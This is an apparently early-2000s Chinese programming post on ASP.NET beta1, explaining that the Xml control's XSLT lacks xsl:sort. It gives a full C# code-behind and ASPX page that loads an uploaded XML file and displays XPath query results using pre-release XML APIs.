另外，由于是beta1，在这个控件中你使用的xslt里面不能使用<xsl:sort>，当然，亦不能使用那个order-by了，因为它支持的xsl空间是带"1999"的那个，而不是原来的那个。
另外，我从微软得到的回答就是在beta2里面，它将支持<xsl:sort>，到那时，哥哥我将全部转向xml+xsl了，现在为源代码保密问题给弄的非常头疼。
请看下例：
webform2.cs
---------------------------------
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Text;
using System.IO;
using System.Xml;

public class WebForm2 : Page
{
public StringBuilder outputQ;
public StringBuilder outputXml;
public DocumentNavigator nav = null;
public HtmlInputFile XmlFile;

public System.Web.UI.WebControls.Xml MyXml;

public System.Web.UI.WebControls.TextBox TextBox1;
public System.Web.UI.WebControls.TextBox TextBox2;
public System.Web.UI.WebControls.TextBox TextBox3;
public System.Web.UI.WebControls.Button Query;
public System.Web.UI.WebControls.Label FileLabel;

public void On_KeyUp(object sender, System.EventArgs e)
{
Response.Write("Works");
}

protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}

public void Query_Click(object sender, System.EventArgs e)
{
HttpPostedFile xmlfile = XmlFile.PostedFile;
XmlDocument doc = new XmlDocument();
MyXml.Document = new XmlDocument();
// TextBox2.Text="";
// TextBox3.Text="";

if (xmlfile.FileName != String.Empty)
{
try
{
FileLabel.Text= xmlfile.FileName;

MyXml.Document.Load(xmlfile.FileName);
outputXml = new StringBuilder();
XmlTextReader reader = new XmlTextReader (xmlfile.FileName);
ShowDocument();
TextBox3.Text = outputXml.ToString();

outputQ = new StringBuilder();
doc.Load(xmlfile.FileName);
DocumentNavigator nav = new DocumentNavigator(doc);
// Perform the query e.g. "descendant::book/price"
XPathQuery(nav, TextBox1.Text);
TextBox2.Text = outputQ.ToString();

}
catch (Exception exp) {
//outputQ.Append("</xmp><font color=\"#FF6600\">"+ exp.Message+"</font><xmp>");
}
finally {}
}
else if (FileLabel.Text != String.Empty)
{
try
{
MyXml.Document.Load(FileLabel.Text);
outputXml = new StringBuilder();
XmlTextReader reader = new XmlTextReader (FileLabel.Text);
ShowDocument();
TextBox3.Text = outputXml.ToString();

ShowDocument();

outputQ = new StringBuilder();
doc.Load(FileLabel.Text);
DocumentNavigator nav = new DocumentNavigator(doc);
// Perform the query e.g. "descendant::book/price"
XPathQuery(nav, TextBox1.Text);
TextBox2.Text = outputQ.ToString();

}
catch (Exception exp) {
outputQ.Append("</xmp><font color=\"#FF6600\">"+ exp.Message+"</font><xmp>");
}
finally {}
}
}

private void XPathQuery(XmlNavigator navigator, String xpathexpr )
{
try
{
// Save context node position
navigator.PushPosition();
navigator.Select (xpathexpr);
FormatXml(navigator);

// Restore context node position
navigator.PopPosition();
}
catch (Exception e)
{
}
}

//***************************** Navigator ************************************
private void FormatXml (XmlNavigator navigator)
{
while (navigator.MoveToNextSelected())
{
switch (navigator.NodeType)
{
case XmlNodeType.ProcessingInstruction:
Format (navigator, "ProcessingInstruction");
break;
case XmlNodeType.DocumentType:
Format (navigator, "DocumentType");
break;
case XmlNodeType.Document:
Format (navigator, "Document");
break;
case XmlNodeType.Comment:
Format (navigator, "Comment");
break;
case XmlNodeType.Element:
Format (navigator, "Element");
break;
case XmlNodeType.Text:
Format (navigator, "Text");
break;
case XmlNodeType.Whitespace:
Format (navigator, "Whitespace");
break;
}
}
outputQ.Append("\r\n");
}

// Format the output
private void Format (XmlNavigator navigator, String NodeType)
{
String value = String.Empty;
String name = String.Empty;

if (navigator.HasChildren)
{
name = navigator.Name;
navigator.MoveToFirstChild();
if (navigator.HasValue)
{
value = navigator.Value;
}
}
else
{
if (navigator.HasValue)
{
value = navigator.Value;
name = navigator.Name;
}
}
outputQ.Append(NodeType + "<" + name + ">" + value);
outputQ.Append("\r\n");
}

// ********************************** XmlReader *****************************
public void ShowDocument ()
{
outputXml = new StringBuilder();
XmlTextReader reader = new XmlTextReader (FileLabel.Text);

while (reader.Read())
{
switch (reader.NodeType)
{
case XmlNodeType.ProcessingInstruction:
Format (reader, "ProcessingInstruction");
break;
case XmlNodeType.DocumentType:
Format (reader, "DocumentType");
break;
case XmlNodeType.Comment:
Format (reader, "Comment");
break;
case XmlNodeType.Element:
Format (reader, "Element");
break;
case XmlNodeType.Text:
Format (reader, "Text");
break;
case XmlNodeType.Whitespace:
break;
}
}
TextBox3.Text = outputXml.ToString();
}

protected void Format(XmlReader reader, String NodeType)
{
// Format the output
for (int i=0; i < reader.Depth; i++)
{
outputXml.Append('\t');
}

outputXml.Append(reader.Prefix + NodeType + "<" + reader.Name + ">" + reader.Value);

// Display the attributes values for the current node
if (reader.HasAttributes)
{
outputXml.Append(" Attributes:");

for (int j=0; j < reader.AttributeCount; j++)
{
outputXml.Append(reader[j]);
}
}
outputXml.Append("\r\n");
}

/// ************************* DOM *********************************
protected void ShowDocument(XmlNode node)
{
if (node != null)
Format (node);

if (node.HasChildNodes)
{
node = node.FirstChild;
while (node != null)
{
ShowDocument(node);
node = node.NextSibling;
}
}
}

// Format the output
private void Format (XmlNode node)
{
if (!node.HasChildNodes)
{
outputXml.Append("\t" + "<" + node.Value + ">");
}

else
{
outputXml.Append("<" + node.Name + ">");
if (XmlNodeType.Element == node.NodeType)
{
XmlNamedNodeMap map = node.Attributes;
foreach (XmlNode attrnode in map)
outputXml.Append(" " + attrnode.Name + "<" + attrnode.Value + "> ");
}
outputXml.Append("\r\n");
}
}
}

下面就是webform2.aspx了
webform2.aspx
-----------------------------------
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Assembly Name="System.Xml" %>
<%@ Import Namespace="System.Xml" %>
<%@ Page Language="C#" Inherits="WebForm2" Src="WebForm2.cs" Debug="true" %>

<HTML><HEAD>

<script runat="server" language="C#">
// Put page script here
public void On_KeyUp(object sender, System.EventArgs e)
{
Response.Write("Works");
}

</script>

<!--<link REL="STYLESHEET" HREF="default.css" TYPE="text/css">-->
<TITLE>test</TITLE>
</HEAD>

<BODY >

<form method="post" action="WebForm2.aspx" runat="server" enctype="multipart/form-data">

<div align="left">
<table>
<tr>
<td>XML Document:</td>
<td><input type=file id="XmlFile" runat=server> FileName:</td>
<td><asp:label id="FileLabel" runat="server"></asp:label></td>
</tr>

<tr>
<td>XPath Expression</td>
<td><asp:textbox id=TextBox1 runat="server" Height="20" Width="300" text=".//text()" OnKey_Up="On_KeyUp"></asp:textbox></td>
<td><asp:button type=submit OnClick="Query_Click" runat="server" Height="20" Width="91" text="Query"></asp:button></td>
</tr>
</table>

</br>
<table>
<tr><td>Output from Query</td><td>XML Data</td><tr>
<tr><td>Query Display: <asp:dropdownlist runat="server">
<asp:listitem>Descriptive</asp:listitem>
<asp:listitem>XML</asp:listitem>
</asp:dropdownlist>
</td><tr>
<tr>
<td width="50%" valign="top" align="left"><asp:textbox id=TextBox2 runat="server" Height="400" Width="350" TextMode="MultiLine" Rows="10"></asp:textbox></td>
<td width="50%" valign="top" align="left"><asp:xml id="MyXml" transformsource="test.xsl" runat=server/></asp:xml></td>
</tr>
</table>
</div>

<td><asp:textbox id=TextBox3 runat="server" Height="1" Width="5" TextMode="MultiLine" Rows="110"></asp:textbox></td>

</form>

</BODY>
</HTML>